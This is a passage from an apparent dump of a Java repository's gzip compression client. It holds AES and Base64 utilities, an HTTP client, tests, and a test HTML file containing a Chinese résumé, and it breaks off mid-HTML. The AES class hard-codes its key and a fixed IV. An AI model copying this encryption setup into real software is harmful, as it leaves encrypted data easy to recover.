    "content": "package com.jun.plugin.gzip.compressclient.encrypt;\n\nimport java.io.UnsupportedEncodingException;\nimport java.security.InvalidAlgorithmParameterException;\nimport java.security.InvalidKeyException;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.SecureRandom;\nimport java.security.spec.AlgorithmParameterSpec;\n\n\nimport javax.crypto.BadPaddingException;\nimport javax.crypto.Cipher;\nimport javax.crypto.IllegalBlockSizeException;\nimport javax.crypto.KeyGenerator;\nimport javax.crypto.NoSuchPaddingException;\nimport javax.crypto.SecretKey;\nimport javax.crypto.spec.IvParameterSpec;\n\n/**\n * \n * @author Wujun\n *\n */\n\npublic class AESUtils {\n    private static final String GZIP_ENCODE_UTF_8 = \"UTF-8\";\n\n    //用户密钥\n    private static byte[] keyValue = String.valueOf(\"abcd@1234\").getBytes();\n    private static byte[] iv = new byte[] {             //算法参数\n            -12,35,-25,65,45,-87,95,-22,-15,45,55,-66,32,5-4,84,55\n    };\n    private static SecretKey key;                       //加密密钥\n    private static AlgorithmParameterSpec paramSpec;    //算法参数\n    private static Cipher ecipher;                      //加密算法\n\n    static{\n        KeyGenerator kgen;\n        try {\n            //为指定算法生成一个密钥生成器对象。\n            kgen = KeyGenerator.getInstance(\"AES\");\n            //使用用户提供的随机源初始化此密钥生成器，使其具有确定的密钥长度。\n            SecureRandom secureRandom = SecureRandom.getInstance(\"SHA1PRNG\");\n            secureRandom.setSeed(keyValue);\n            kgen.init(128, secureRandom);\n            //使用KeyGenerator生成（对称）密钥。\n            key = kgen.generateKey();\n            //使用iv中的字节作为IV来构造一个 算法参数。\n            paramSpec = new IvParameterSpec(iv);\n            //生成一个实现指定转换的 Cipher 对象\n            ecipher = Cipher.getInstance(\"AES/CBC/PKCS5Padding\");\n        } catch (NoSuchAlgorithmException e) {\n            e.printStackTrace();\n        } catch (NoSuchPaddingException e) {\n            e.printStackTrace();\n        }\n    }\n\n    /**\n     * 加密，使用指定数据源生成密钥，使用用户数据作为算法参数进行AES加密\n     * @param msg 加密的数据\n     * @return\n     */\n    public static String encrypt(String msg) {\n        String str = \"\";\n        try {\n            //用密钥和一组算法参数初始化此 cipher\n            ecipher.init(Cipher.ENCRYPT_MODE, key, paramSpec);\n            //加密并转换成16进制字符串\n            str = asHex(ecipher.doFinal(msg.getBytes(GZIP_ENCODE_UTF_8)));\n        } catch (BadPaddingException e) {\n            e.printStackTrace();\n        } catch (InvalidKeyException e) {\n            e.printStackTrace();\n        } catch (InvalidAlgorithmParameterException e) {\n            e.printStackTrace();\n        } catch (IllegalBlockSizeException e) {\n            e.printStackTrace();\n        } catch (UnsupportedEncodingException e) {\n            e.printStackTrace();\n        }\n        return str;\n    }\n\n    /**\n     * 解密，对生成的16进制的字符串进行解密\n     * @param value 解密的数据\n     * @return\n     */\n    public static String decrypt(String value) {\n        try {\n            ecipher.init(Cipher.DECRYPT_MODE, key, paramSpec);\n            return new String(ecipher.doFinal(asBin(value)),GZIP_ENCODE_UTF_8);\n        } catch (BadPaddingException e) {\n            e.printStackTrace();\n        } catch (InvalidKeyException e) {\n            e.printStackTrace();\n        } catch (InvalidAlgorithmParameterException e) {\n            e.printStackTrace();\n        } catch (IllegalBlockSizeException e) {\n            e.printStackTrace();\n        } catch (UnsupportedEncodingException e) {\n            e.printStackTrace();\n        }\n        return \"\";\n    }\n\n    /**\n     * 将字节数组转换成16进制字符串\n     * @param buf\n     * @return\n     */\n    private static String asHex(byte buf[]) {\n        StringBuffer strbuf = new StringBuffer(buf.length * 2);\n        int i;\n        for (i = 0; i < buf.length; i++) {\n            if (((int) buf[i] & 0xff) < 0x10)//小于十前面补零\n                strbuf.append(\"0\");\n            strbuf.append(Long.toString((int) buf[i] & 0xff, 16));\n        }\n        return strbuf.toString();\n    }\n\n    /**\n     * 将16进制字符串转换成字节数组\n     * @param src\n     * @return\n     */\n    private static byte[] asBin(String src) {\n        if (src.length() < 1)\n            return null;\n        byte[] encrypted = new byte[src.length() / 2];\n        for (int i = 0; i < src.length() / 2; i++) {\n            String str1 = src.substring(i * 2, i * 2 + 1);\n            int high = Integer.parseInt(src.substring(i * 2, i * 2 + 1), 16);//取高位字节\n            int low = Integer.parseInt(src.substring(i * 2 + 1, i * 2 + 2), 16);//取低位字节\n            encrypted[i] = (byte) (high * 16 + low);\n        }\n        return encrypted;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/src/main/java/com/jun/plugin/gzip/compressclient/http/HttpClient.java",
    "content": "package com.jun.plugin.gzip.compressclient.http;\n\nimport org.springframework.http.HttpMethod;\nimport org.springframework.util.MultiValueMap;\n\n/**\n * @Author:Yolanda\n * @Date: 2020/5/7 18:10\n */\npublic interface HttpClient {\n\n    public String client(String url, HttpMethod method, MultiValueMap<String,String> params);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/src/main/java/com/jun/plugin/gzip/compressclient/http/impl/HttpClientImpl.java",
    "content": "package com.jun.plugin.gzip.compressclient.http.impl;\n\nimport org.springframework.http.HttpMethod;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.stereotype.Service;\nimport org.springframework.util.MultiValueMap;\nimport org.springframework.web.client.RestTemplate;\n\nimport com.jun.plugin.gzip.compressclient.http.HttpClient;\n\n/**\n * @Author:Yolanda\n * @Date: 2020/5/7 18:11\n */\n@Service\npublic class HttpClientImpl implements HttpClient {\n\n    public String client(String url, HttpMethod method, MultiValueMap<String,String> params){\n\n        RestTemplate template = new RestTemplate();\n//        ResponseEntity<String> response = template.getForEntity(url, String.class, params);\n        return template.postForObject(url, params, String.class);\n//        return response.getBody();\n    }\n\n\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/src/main/resources/application.properties",
    "content": "\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/src/test/java/Base64Utils.java",
    "content": "import java.io.ByteArrayInputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.Base64;\npublic class Base64Utils {\n \n    private static Base64Utils utils = null;\n \n    private Base64Utils() {\n \n    }\n \n    public static Base64Utils getInstance() {\n        if (utils == null) {\n            synchronized (Base64Utils.class) {\n                if (utils == null) {\n                    utils = new Base64Utils();\n                }\n            }\n        }\n        return utils;\n    }\n \n    /**\n     * 返回文件大小\n     * \n     * @param inFile\n     * @return\n     */\n    public int getFileSize(File inFile) {\n        InputStream in = null;\n \n        try {\n            in = new FileInputStream(inFile);\n            // 文件长度\n            int len = in.available();\n            return len;\n        } catch (Exception e) {\n            // TODO: handle exception\n        } finally {\n            try {\n                in.close();\n            } catch (IOException e) {\n                // TODO Auto-generated catch block\n                e.printStackTrace();\n            }\n        }\n        return -1;\n    }\n \n    /**\n     * 将文件转化为base64\n     * \n     * @param inFile\n     * @return\n     */\n    public String file2Base64(File inFile) {\n \n        // 将文件转化为字节码\n        byte[] bytes = copyFile2Byte(inFile);\n        if (bytes == null) {\n            return null;\n        }\n \n        // base64,将字节码转化为base64的字符串\n        String result = Base64.getEncoder().encodeToString(bytes);\n        return result;\n    }\n \n    /**\n     * 将文件转化为字节码\n     * \n     * @param inFile\n     * @return\n     */\n    private byte[] copyFile2Byte(File inFile) {\n        InputStream in = null;\n \n        try {\n            in = new FileInputStream(inFile);\n            // 文件长度\n            int len = in.available();\n \n            // 定义数组\n            byte[] bytes = new byte[len];\n \n            // 读取到数组里面\n            in.read(bytes);\n            return bytes;\n        } catch (Exception e) {\n            e.printStackTrace();\n            return null;\n        } finally {\n            try {\n                if (in != null) {\n                    in.close();\n                }\n            } catch (Exception e) {\n                e.printStackTrace();\n            }\n        }\n    }\n \n    /**\n     * 将字符串转化为文件\n     * \n     * @param strBase64 base64 编码的文件\n     * @param outFile 输出的目标文件地址\n     */\n    public boolean base64ToFile(String strBase64, File outFile) {\n        try {\n            // 解码，然后将字节转换为文件\n            byte[] bytes = Base64.getDecoder().decode(strBase64); // 将字符串转换为byte数组\n            return copyByte2File(bytes, outFile);\n        } catch (Exception ioe) {\n            ioe.printStackTrace();\n            return false;\n        }\n    }\n \n    /**\n     * 将字节码转化为文件\n     * \n     * @param bytes\n     * @param file\n     */\n    private boolean copyByte2File(byte[] bytes, File file) {\n        FileOutputStream out = null;\n        try {\n            // 转化为输入流\n            ByteArrayInputStream in = new ByteArrayInputStream(bytes);\n \n            // 写出文件\n            byte[] buffer = new byte[1024];\n \n            out = new FileOutputStream(file);\n \n            // 写文件\n            int len = 0;\n            while ((len = in.read(buffer)) != -1) {\n                out.write(buffer, 0, len); // 文件写操作\n            }\n            return true;\n        } catch (Exception e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n        } finally {\n            try {\n                if (out != null) {\n                    out.close();\n                }\n            } catch (IOException e) {\n                // TODO Auto-generated catch block\n                e.printStackTrace();\n            }\n        }\n        return false;\n    }\n \n    /**\n     * 将base64转换为输入流\n     * \n     * @param base64\n     * @return\n     */\n    public ByteArrayInputStream base64ToInputStream(String base64) {\n        try {\n            // 将字符串转换为byte数组\n            byte[] bytes = Base64.getDecoder().decode(base64);\n            ByteArrayInputStream inputStream = new ByteArrayInputStream(bytes);\n \n            return inputStream;\n \n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n \n        return null;\n    }\n    \n    \n    public static void main(String[] args) {\n        File file = new File(\"C:\\\\Users\\\\test\\\\Desktop\\\\base64-master\\\\123.JPG\");\n        File fileNew = new File(\"C:\\\\Users\\\\test\\\\Desktop\\\\base64-master\\\\123-copy.JPG\");\n        System.out.println(Base64Utils.getInstance().file2Base64(file));\n        String fileStr = Base64Utils.getInstance().file2Base64(file);\n        System.out.println(Base64Utils.getInstance().base64ToFile(fileStr, fileNew));\n    }\n}\n "
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/src/test/java/GzipTest.java",
    "content": "\n\nimport java.io.IOException;\n\nimport com.jun.plugin.gzip.compressclient.compress.CompressUtils;\nimport com.jun.plugin.gzip.compressclient.encrypt.AESUtils;\n\n/**\n * \n * @author Wujun\n *\n */\npublic class GzipTest {\n\n    public static void main(String [] args){\n        String content=\" \";\n        System.out.println(\"Step1 压缩前长度:\" + content.length());\n        try{\n        \t// 压缩\n            String afterCompressStr = CompressUtils.compress(content);\n            System.out.println(\"Step2 压缩后长度:\" + afterCompressStr.length());\n\n            // 加密\n            String afterEncryptStr = AESUtils.encrypt(afterCompressStr);\n            System.out.println(\"Step3 先压缩后加密的长度:\" + afterEncryptStr.length());\n            System.out.println(\"Step3 先压缩后加密的content:\" + afterEncryptStr);\n\n            // 先加密后压缩\n            String _afterEncryptStr = AESUtils.encrypt(content);\n            System.out.println(\"先加密的长度:\" +_afterEncryptStr);\n            String _afterCompressStr = CompressUtils.compress(_afterEncryptStr);\n            System.out.println(\"先加密后压缩的长度:\" + _afterCompressStr.length());\n            \n            // 解密\n            String afterEncryptStrVal=afterEncryptStr;\n//            String afterEncryptStrVal=\"abcde\";\n            String afterDecryptStr = AESUtils.decrypt(afterEncryptStrVal);\n            System.out.println(\"Step4 解密:\" + afterDecryptStr.length());\n            \n\n            // 解压缩\n            String afterDecryptContent = CompressUtils.decompressToStr(afterDecryptStr);\n            System.out.println(\"Step5 解压缩:\" + afterDecryptContent.length());\n            System.out.println(\"Step5 解压缩:\" + afterDecryptContent);\n            \n            \n\n        }catch (IOException e){\n            System.out.println(e.getMessage());\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/src/test/java/SplitUtil.java",
    "content": "import java.util.ArrayList;\nimport java.util.List;\n\npublic class SplitUtil {\n\n\tpublic static void main(String[] args) {\n\t\tString content=\"854ad05a51616c372058622b9d7144b2be4215583cc0f2200451f951a93eb74809780b1fe29f3e8e09eef565ff65a4166730\" + \n        \t\t\"d5f0b7bff0149dfeda5aaf7835a41c5b05d50817484803684c2ac95c1113aa5f00bb2ab23d1accff478545d43c3318dc2474\" + \n        \t\t\"3954f0b165f9787710f5363471675f5a1a264f49332e8c235929ae04af97f4172b1c9c11109ce19c4e5251005475ff8f0751\" + \n        \t\t\"1eff29fb469fc9ae8708f27a2bb4d9c1cd6c0ae2523f21c4859fec3a05edf7cc16eae196c79ec51954a493e7cbc48d2bccb5\" + \n        \t\t\"7a3f3ea8c4c94ea58606863d4dd604173090a302fb163ad8554ffcd9e6c40b062002e96614d1018f652dc3ec0ec837509d4b\" + \n        \t\t\"d2b0b2995f281cb938c233afdc4c3ac97932cf69725b05da0a38de624269794d279301dfed12110f2aa5e09906eac17ffe9b\" + \n        \t\t\"e1b1e08bef74de49a8fdd0ecd4d34fcb06957694ed656f92cc52db876f36c164505e3975ea827404b8df817f7a166257a784\" + \n        \t\t\"3b1e5c2f503a5bef2f43e9f960f0aaae39c0d680ab48791c952d30974ae64f5955bd03c864084942c690944696b383e8c53f\" + \n        \t\t\"a132bedc000f082cac3948f957976567e7bd8f700d66780e018a7e610d19008f80d302f4a639723b83494c2425498803cc31\" + \n        \t\t\"15e90dd604222bc7356bd6e189e1200cad6586e043fc4525c7a94c359e4b8f31238db96c70a51aade677f743fd44ad4dfd4f\" + \n        \t\t\"11237347b7e07241f7003753632ae95871923a10ebe555c07397d201862d606fdbaede9f2ec8b87e14df25b53dbdd162e43d\" + \n        \t\t\"bf2f35b118db4df7e5f6b0cd52a473520800802e519e23fb1cafd199959678c6b57699ae0bc23af69c248d0391f99593bf55\" + \n        \t\t\"34308b850c1ae4923c42e6deec8bc19b4caeac789e6264ad83ed1602488553495c449c8895276713d21ab9dc3cd60550d4ab\" + \n        \t\t\"4fad148b18b2ba5a6743bc5c2dd95e7f5b96d9c6fbed54a515a37a7a8664674b28d01d76727058e580eb4c12f84ae576cc1b\" + \n        \t\t\"816891505707346638a1ba8d8d929f837c6a8b998caa870e4f1d24557cd7ac1500f5b07758b5ec754a214a5a98cb1c44add0\" + \n        \t\t\"aed64195dcc28e10a8574d2072c9165a67550b0f193788c3714153408b62836f56db9ffdd690ba80403be974a93161c60a99\" + \n        \t\t\"f1a050b8966c068ca451301b17e4482470ba26d43fde708850c14d8f7891efe464420354e235dc4cff714798829b70fd8f42\" + \n        \t\t\"00b41871144a7a417ae395b046092faa19efeba7373e0449745f049fee7836eb34e46f9ab657dc366357721102f6fd95bb0e\" + \n        \t\t\"ded99a1224545e75e831abeabe0d6923612be30e29405dbde57904b3c6042d4853057868c7dae68efd989e1c58c9e155765c\" + \n        \t\t\"6a3be50c183d772eb6d61191114116094c76c23b73b2c79c00bc2a079698de6f1cc643e521cbe1c352068987531d55279cad\" + \n        \t\t\"3dc97c672cea81874f1f644bab5b5a02598c147a58989d4bd17ca9e24650ec089aeab282150f4c13292a573faf9e9e12a171\" + \n        \t\t\"69bde6c143a842f1f587c794c1c201a76d9943c1b0031dcff42a938840199bafe9ec5125a7ba16f275309b0244b396509c0e\" + \n        \t\t\"87a608a985ff2660c0527f85f07b70f169976ab42a654c816293998968d35bf8ebd5e8bd1f3c2f01ae6be6c0afaa974c8b0d\" + \n        \t\t\"9004227375089e14802f31b6750814a072c1d23e8d06b9e38e616bd4f37509c6542ad36d4322bb435a848ca4ccee3245ec0f\" + \n        \t\t\"cc1b3c5679cde7f0cf2c733598b6b9529bf3259e2fa8798d1825bdf3183e141688111e4add57814915bd9297c6a98d141b00\" + \n        \t\t\"43beea0cfc469c1f4af905e1dd1e1d45f79283eb21b36b44431fec60034ffe97c8fe02880cfd6038f822696bded8e39c2829\" + \n        \t\t\"80c09e7a1dc105bf65398cdbb878a73122d3b96ebc76674c830a3914e90b3351fc6001730ee481df60ce7091f98e3210e88b\" + \n        \t\t\"244192a0680e71325862d4fa67bf6633b9035ca145305fe8bba7231c84c4503e66768a80426de7b5b00ce94215da0661d464\" + \n        \t\t\"17d4f9fa461590ac2f3de6799aaf053857c6cfaa731303cdbd7402fed1e467ea8b95e21c7e75c62e0ed5c187b23b9af0333b\" + \n        \t\t\"ae7dcb266bf99776d8caed8123c949ba248e794a4c49cc785a803ad3a0aae4e35000aa3cb0d2bc469af1ab96f5b5e0c6016b\" + \n        \t\t\"55b97f5ef0b6e39cc392ed781f348ed8bc9765329ea69bd354b2950d99377769f1c555720fa03648f98cae95993df4b00539\" + \n        \t\t\"b3d964efff0da0e00d7c9454dc27985d33843064bffc4f6e22d4de6ab5ce22a395a434a37179a2941b49e5767f2bcbe9a1a3\" + \n        \t\t\"b17368a1386f888d40fb15dfc9bcdc5fed4729d1cf4e2b9627225b8fbbd71e6aa8b243a57247eaa06effd97670a9b3fab4a2\" + \n        \t\t\"3b11719e103b4ced57cc6ea1b3a1d36f76ca84312c8bfb58972358b68e680c2d0f17325af1958de4e3403eba558f39c48eb1\" + \n        \t\t\"83c1634cbe36dc61f810918681ef91fdf8cdb36935aa9d8ff46c71e4187fcc66091d61f89ff1364a4601d16b7154c2f7ffdd\" + \n        \t\t\"ef4ff4673cdf1d25ea907a8300073499793f1da3f3b952eba9eb3e56a03413e0952568eb7381d5fa1586bd2f2030b6f4c246\" + \n        \t\t\"48894b0f38be1042ad8a92375e1ab70d7d55e4c053c11c29966dcb4cde684fe37f3e7b2857403299f9d300c0b3cb547d1882\" + \n        \t\t\"b3b33df13e4c9dff3fc9d68d2c7f47ca53d1244c93279fb2befc3db94eed8ba3cdfab3060b3587f2174136084c6d8e41a9e0\" + \n        \t\t\"36222138a4d176d1e2ca8710e30f6a2dcf37e388\";\n\t\tSplitUtil.getStrList(content, 100).forEach(str->{\n\t\t\tSystem.out.println(str);\n\t\t});\n\t}\n\t\n\t/**\n     * 把原始字符串分割成指定长度的字符串列表\n     * \n     * @param inputString\n     *            原始字符串\n     * @param length\n     *            指定长度\n     * @return\n     */\n    public static List<String> getStrList(String inputString, int length) {\n        int size = inputString.length() / length;\n        if (inputString.length() % length != 0) {\n            size += 1;\n        }\n        return getStrList(inputString, length, size);\n    }\n \n /**\n     * 把原始字符串分割成指定长度的字符串列表\n     * \n     * @param inputString\n     *            原始字符串\n     * @param length\n     *            指定长度\n     * @param size\n     *            指定列表大小\n     * @return\n     */\n    public static List<String> getStrList(String inputString, int length,\n            int size) {\n        List<String> list = new ArrayList<String>();\n        for (int index = 0; index < size; index++) {\n            String childStr = substring(inputString, index * length,\n                    (index + 1) * length);\n            list.add(childStr);\n        }\n        return list;\n    }\n \n /**\n     * 分割字符串，如果开始位置大于字符串长度，返回空\n     * \n     * @param str\n     *            原始字符串\n     * @param f\n     *            开始位置\n     * @param t\n     *            结束位置\n     * @return\n     */\n    public static String substring(String str, int f, int t) {\n        if (f > str.length())\n            return null;\n        if (t > str.length()) {\n            return str.substring(f, str.length());\n        } else {\n            return str.substring(f, t);\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/src/test/java/com/jun/plugin/gzip/compressclient/CompressclientApplicationTests.java",
    "content": "package com.jun.plugin.gzip.compressclient;\n\nimport org.junit.jupiter.api.Test;\nimport org.springframework.boot.test.context.SpringBootTest;\n\n@SpringBootTest\nclass CompressclientApplicationTests {\n\n    @Test\n    void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/src/test/java/test.html",
    "content": "\n<!-- 项目经验 -->\n<section class=\"project info-unit\">\n\t<h2>\n\t\t<i class=\"fa fa-terminal\" aria-hidden=\"true\"></i>项目经验\n\t</h2>\n\t<hr />\n\t<ul>\n\t\t<li>\n\t\t\t<h3>\n\t\t\t\t<span>【项目名称】：华为DTP产品数据测试系统(2018.3~至今) ，项目经理（架构师）</span> <span\n\t\t\t\t\tclass=\"link\"> <a href=\"#\" target=\"_blank\" title=\"无法预览\">Demo</a>\n\t\t\t\t</span>\n\t\t\t\t<time>2018.03 - 至今</time>\n\t\t\t</h3>\n\t\t\t<ul class=\"info-content\">\n\t\t\t\t<li>【开发环境】：Eclipse + Tomcat（Docker集群生产）+ Oracle</li>\n\t\t\t\t<li>【使用架构】：SpringMVC + MyBatis + Spring + JQuery + SpringCloud\n\t\t\t\t\t+ Redis + RocketMQ + Webservice +Git + FastDFS</li>\n\t\t\t\t<li><i class=\"fa fa-paper-plane-o\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[简介]华为HTM全球物流管理系统主要服务于华为全系产品及子系统的运输指令请求并管理监控运输流程，原存量HTM系统采购于Oracle\n\t\t\t\t\tOTM运输中间件平台，后期日落计划主要剥除存量系统，向服务化转移的过程，服务化采用业绩主流前后端分离及微服务框架开发。该系统主要功能有路线、运费、订单、承运商、物流方案、采购、出入境、清关报税、供应链、跟踪、运费支付、历史分析等。项目运行有十几年了，采用迭代模式每月小版本开发，本人参与了大大小小十几个版本。项目根据业务分三大模块计划指令（本人作为PM管理），委托运输、存量、TTS清关\n\t\t\t\t\t<br /> <i class=\"fa fa-users\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[团队]本人负责存量服务项目，项目共13人，由本人统一协调；共分三个团队，分别为测试团队6人、数据ETL团队2人、Java后端业务团队4人，前端1人；\n\t\t\t\t\t<br /> <i class=\"fa fa-bars\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[职责]1、HTM项目计划指令模块的日常管理 2、配合BA完成每月版本业务需求的开发及功能优化\n\t\t\t\t\t。3、修复客户提出的Bug并处理生产问题。 4、制定项目开发计划及任务分配，指导并跟进项目开发进度。\n\t\t\t\t\t5、对接SPM完成日常工作及风险成本监控；6、对接华为PM及华为SE合华为BA，完成计划输出、工作分解、代码检视等等； <br />\n\t\t\t\t\t<i class=\"fa fa-thumbs-o-up\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[备注]系统功能运行稳定，基本没有现网问题，运营有条不紊，每月完成功能的开发测试上线即可，得到客户的良好评价；</li>\n\t\t\t</ul>\n\t\t</li>\n\t\t<li>\n\t\t\t<h3>\n\t\t\t\t<span>【项目名称】：华为HTM全球物流管理系统(存量+服务化 2017.4~2018.3) ，项目经理（架构师）</span> <span\n\t\t\t\t\tclass=\"link\"> <a href=\"#\" target=\"_blank\" title=\"无法预览\">Demo</a>\n\t\t\t\t</span>\n\t\t\t\t<time>2017.04 - 2018.03</time>\n\t\t\t</h3>\n\t\t\t<ul class=\"info-content\">\n\t\t\t\t<li>【开发环境】：Eclipse + Tomcat（Weblogic集群生产）+ Oracle</li>\n\t\t\t\t<li>【使用架构】：SpringMVC + MyBatis + Spring + Webix + TypeScript+\n\t\t\t\t\tNodeJS + Dubbo + Redis + RocketMQ + Webservice +Git+FastDFS</li>\n\t\t\t\t<li><i class=\"fa fa-paper-plane-o\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[简介]华为HTM全球物流管理系统主要服务于华为全系产品及子系统的运输指令请求并管理监控运输流程，原存量HTM系统采购于Oracle\n\t\t\t\t\tOTM运输中间件平台，后期日落计划主要剥除存量系统，向服务化转移的过程，服务化采用业绩主流前后端分离及微服务框架开发。该系统主要功能有路线、运费、订单、承运商、物流方案、采购、出入境、清关报税、供应链、跟踪、运费支付、历史分析等。项目运行有十几年了，采用迭代模式每月小版本开发，本人参与了大大小小十几个版本。项目根据业务分三大模块计划指令（本人作为PM管理），委托运输、存量、TTS清关\n\t\t\t\t\t<br /> <i class=\"fa fa-users\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[团队]本人负责存量服务项目，项目共13人，由本人统一协调；共分三个团队，分别为测试团队6人、数据ETL团队2人、Java后端业务团队4人，前端1人；\n\t\t\t\t\t<br /> <i class=\"fa fa-bars\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[职责]1、HTM项目计划指令模块的日常管理 2、配合BA完成每月版本业务需求的开发及功能优化\n\t\t\t\t\t。3、修复客户提出的Bug并处理生产问题。 4、制定项目开发计划及任务分配，指导并跟进项目开发进度。\n\t\t\t\t\t5、对接SPM完成日常工作及风险成本监控；6、对接华为PM及华为SE合华为BA，完成计划输出、工作分解、代码检视等等； <br />\n\t\t\t\t\t<i class=\"fa fa-thumbs-o-up\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[备注]系统功能运行稳定，基本没有现网问题，运营有条不紊，每月完成功能的开发测试上线即可，得到客户的良好评价；</li>\n\t\t\t</ul>\n\t\t</li>\n\t\t<li>\n\t\t\t<h3>\n\t\t\t\t<span>【项目名称】：上海银行数据标准管理系统(2017.1-2017.3 上海) ，项目经理（架构师）</span> <span\n\t\t\t\t\tclass=\"link\"> <a href=\"#\" target=\"_blank\">Demo</a>\n\t\t\t\t</span>\n\t\t\t\t<time>2017.01 - 2017.03</time>\n\t\t\t</h3>\n\t\t\t<ul class=\"info-content\">\n\t\t\t\t<li>【开发环境】：Eclipse + Tomcat（Weblogic生产）+ SQLServer</li>\n\t\t\t\t<li>【使用架构】：Struts2 + JPA + Spring+ Extjs</li>\n\t\t\t\t<li><i class=\"fa fa-paper-plane-o\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[简介]银行业务涉及应用系统繁多，同时缺少统一数据标准、操作风险难以管控等不足，需要逐步构建精简高效的参数管理体系。公共信息管理系统建设项目旨在建立一个参数设置流程规范、参数设置渠道与入口统一、风险控制手段丰富的公共信息系统，并具备灵活、可扩展的配置化的参数管理功能。\n\t\t\t\t\t<br /> <i class=\"fa fa-paper-plane-o\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[背景]我的任务是为该项目提供上线支持，时间不到两个月。项目是一三年立的项，项目经理换了三个了，前面两个都已经离职了，现在是分管副总在挂名，代码都已经不知道是经过多少人的手了，我接手的时候好多功能都没开发完，流程都走不下去。整个项目所有文档一个手都数的出来，项目连续亏本好几年了，如果不是看在上海银行这个客户上的话，这个项目应该早就乱尾了。\n\t\t\t\t\t<br /> <i class=\"fa fa-users\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[团队]项目开发了四五年了，一直没有上线成功，入项的时候，只有2个人，一个副总，一个开发，合计共3人，没有测试、没有前端，纯粹一坑，最坑的一个项目，然后本人就离职了；\n\t\t\t\t\t<br /> <i class=\"fa fa-bars\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[职责]1、负责业务需求把控、挖掘，功能开发、测试；2、负责项目的架构设计和核心模块设计；3、负责信息化产品的研发与开发工作；4、主导技术难题攻关，重构系统，保证高性能处理和系统的稳定性；5、配合业务完成相应的工作；6、负责公司软件项目开发并提供技术支持。\n\t\t\t\t\t<br /> <i class=\"fa fa-thumbs-o-up\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[备注]该项目本人作为项目经理，负责系统架构和关键功能的设计和开发，负责一些技术攻关和技术组件的设计开发，分配项目开发任务及各个人员的工作内容，控制项目进度，指导项目组其他项目组成员帮助其完成分配任务，目前项目已经上线。\n\t\t\t\t</li>\n\t\t\t</ul>\n\t\t</li>\n\t\t<li>\n\t\t\t<h3>\n\t\t\t\t<span>【项目名称】：浦发银行公共信息管理系统(2016.8-2017.3 上海) ，项目经理（架构师）</span> <span\n\t\t\t\t\tclass=\"link\"> <a href=\"#\" target=\"_blank\">Demo</a>\n\t\t\t\t</span>\n\t\t\t\t<time>2016.08 - 2017.01</time>\n\t\t\t</h3>\n\t\t\t<ul class=\"info-content\">\n\t\t\t\t<li>【开发环境】：Eclipse + Tomcat（Weblogic生产）+ SQLServer</li>\n\t\t\t\t<li>【使用架构】：Struts2 + Mybatis(SpringJdbc) +\n\t\t\t\t\tSpring+JQueryEasyUI+WebService +Redis+JBPM</li>\n\t\t\t\t<li><i class=\"fa fa-paper-plane-o\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[简介]银行参数设置业务涉及应用系统繁多，同时缺少统一设置渠道、操作风险难以管控等不足，需要逐步构建精简高效的参数管理体系。公共信息管理系统建设项目旨在建立一个参数设置流程规范、参数设置渠道与入口统一、风险控制手段丰富的公共信息系统，并具备灵活、可扩展的配置化的参数管理功能。\n\t\t\t\t\t<br /> <i class=\"fa fa-users\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[团队]项目共7人，本人负责一期，合计有七个开发一个前端投入，完成上线，测试是浦发行方提供的测试人员； <br /> <i\n\t\t\t\t\tclass=\"fa fa-bars\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[职责]1、负责业务需求把控、挖掘，功能开发、测试；2、负责项目的架构设计和核心模块设计；3、负责信息化产品的研发与开发工作；4、主导技术难题攻关，重构系统，保证高性能处理和系统的稳定性；5、配合业务完成相应的工作；6、负责公司软件项目开发并提供技术支持。\n\t\t\t\t\t<br /> <i class=\"fa fa-thumbs-o-up\" aria-hidden=\"true\"></i>\n\t\t\t\t\t[备注]该项目本人作为项目经理，负责系统架构和关键功能的设计和开发，负责一些技术攻关和技术组件的设计开发，分配项目开发任务及各个人员的工作内容，控制项目进度，指导项目组其他项目组成员帮助其完成分配任务，目前项目已经上线。\n\t\t\t\t</li>\n\t\t\t</ul>\n\t\t</li>\n\n\t\t<li>\n\t\t\t<h3>\n\t\t\t\t<span>【项目名称】：银行内部统一业务管理平台（长期战略项目）(2016.6-2016.8 上海 )\n\t\t\t\t\t，项目经理（架构师）</span> <span class=\"link\"> <a href=\"#\" target=\"_blank\">Demo</a>\n\t\t\t\t</span>\n\t\t\t\t<time>2016.06 - 2016.08</time>\n\t\t\t</h3>\n\t\t\t<ul class=\"info-content\">\n\t\t\t\t<li>【开发环境】：Eclipse + Tomcat（Weblogic生产）+ Oracle</li>\n\t\t\t\t<li>【使用架构】：EOS + BPS+NUI （普元中间件及开发平台）</li>\n\t\t\t\t<li><i class=\"fa fa-paper-plane-o\" 